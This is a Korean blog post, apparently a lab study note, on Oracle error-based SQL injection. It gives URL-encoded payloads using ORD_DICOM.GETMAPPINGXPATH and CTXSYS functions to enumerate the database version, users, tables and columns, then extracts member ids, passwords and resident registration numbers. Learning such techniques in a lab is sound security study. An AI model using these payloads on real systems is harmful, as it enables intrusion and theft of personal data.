Oh! JUN
ORACLE ERROR-BASED 공격 실습 본문
※ 공격 가능한 패키지
ORDSYS.ORD_DICOM.GETMAPPINGXPATH('crehacktive')
CTXSYS.DRITHSX.SN(1,'crehacktive')
CTXSYS.CTX_QUERY.CHK_XPATH('crehacktive',1)
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+banner+from+v$version+where+rownum=1))
CTXSYS.CTX_QUERY.CHK_XPATH((select+banner+from+v$version+where+rownum=1),1)
CTXSYS.CTX_QUERY.CHK_XPATH((select+banner+from+v$version+where+rownum=1),1)
1. 기본 정보 목록화 => 버전, 사용자, SID(현재 사용자)
버전 : select banner from v$version where rownum=1
사용자 : select user from dual
SID : select global_name from global_name
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+banner+from+v$version+where+rownum=1))
- 버전정보
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+user+from+dual))
- 사용자 정보
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+global_name+from+global_name))
- 현재 사용자(SID)
2. 메타 데이터 목록화
1) 순차적 접근 : 사용자 => 테이블 => 컬럼
사용자 => all_user(전체 사용자) x
목록화 하기 위해서는 접근 가능한 사용자를 사용해야한다.
select distinct owner from all_tables
순차적 레코드 출력 => rownum (가상컬럼)
select [column] from (select rownum r, [column] from [table])a where a.r=N
select owner from (select rownum r, distinct owner from all_tables)a where a.r=1
★ rownum과 distinct 동시 사용 불가 x
select owner from(select rownum r, owner from (select distinct owner from all_tables)a)b where b.r=1
(select distinct owner from all_tables)a
- all_tables에서 owner 열의 중복을 제거하고 조회
- (select distinct owner from all_tables)을 a로 별칭
(select rownum r, owner from (select distinct owner from all_tables)a)b
- 중복 제거한 owner 열에서 rownum 일괄순서를 매핑해서 r과 owner 조회
- (select rownum r, owner from (select distinct owner from all_tables)a)을 b로 별칭
select owner from(select rownum r, owner from (select distinct owner from all_tables)a)b where b.r=1
- b쿼리에서 r=1 대입하면 r이 1인 행을 조회
1-1) DB(사용자) 목록화
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+count(*)+from+(select+distinct+owner+from+all_tables)))
- all_tables에서 owner(사용자, DB) 중복 값을 제거하고 남은 개수
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+owner+from+(select+rownum+r,+owner+from+(select+distinct+owner+from+all_tables))a+where+a.r%3d1))
1-2) 테이블 목록화
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+count(*)+from+all_tables+where+owner='C%23%23CREHACKTIVE'))
- all_tables에서 owner가 'C##CREHACKTIVE'인 개수('C##CREHACKTIVE'의 테이블 개수)
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+table_name+from+(select+rownum+r,+table_name+from+all_tables+where+owner='C%23%23CREHACKTIVE')s+where+s.r=1))
- all_tables에서 owner가 'C##CREHACKTIVE'인 1행
1-3) 컬럼 목록화
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+count(*)+from+all_tab_columns+where+owner='C%23%23CREHACKTIVE'+and+table_name='MEMBERS'))
all_tables에서 owner가 'C##CREHACKTIVE'인 컬럼의 개수
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+column_name+from+(select+rownum+r,+column_name+from+all_tab_columns+where+owner='C%23%23CREHACKTIVE'+and+table_name='MEMBERS')s+where+s.r=1))
- 컬럼의 첫번째 행
1-4) 데이터 목록화
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+count(*)+from+C%23%23CREHACKTIVE.MEMBERS))
- 사용자(DB)가 C##CREHACKTIVE이고, 테이블이 MEMBERS인 데이터 개수
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+idx||'%23%23%23'||+id+||'%23%23%23'||password||'%23%23%23'||jumin+from+(select+rownum+r,+idx,+id,+password,+jumin+from+C%23%23CREHACKTIVE.MEMBERS)s+where+s.r=1))
- MEMBERS의 데이터의 1행
- idx, id, password, jumin이 한줄로 출력되니까 구분하기 위해서 사이에 '###'을 넣어서 구분
1) 비순차적 접근 : 특정 데이터
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+table_name+from+all_tables+where+owner='C%23%23CREHACKTIVE'+and+table_name+like+'%MEM%'))
- 'MEMBERS' 테이블 확인
ORDSYS.ORD_DICOM.GETMAPPINGXPATH((select+column_name+from+all_tab_columns+where+owner='C%23%23CREHACKTIVE'+and+table_name='MEMBERS'+and+column_name+like+'%JUMIN%'))
- 'JUMIN' 컬럼 확인
'웹 해킹 > SQL Injection' 카테고리의 다른 글
아이디 중복 조회 기능 제작을 통한 UNION 공격 가능 여부 판단 (0) | 2022.08.24 |
---|---|
효과적으로 DBMS 에러를 발견하기 위한 방법(설정) (0) | 2022.08.24 |
MYSQL ERROR-BASED 공격 실습 (0) | 2022.08.18 |
ORACLE 메타데이터 목록화 (0) | 2022.08.17 |
MYSQL 메타데이터 목록화 (0) | 2022.08.16 |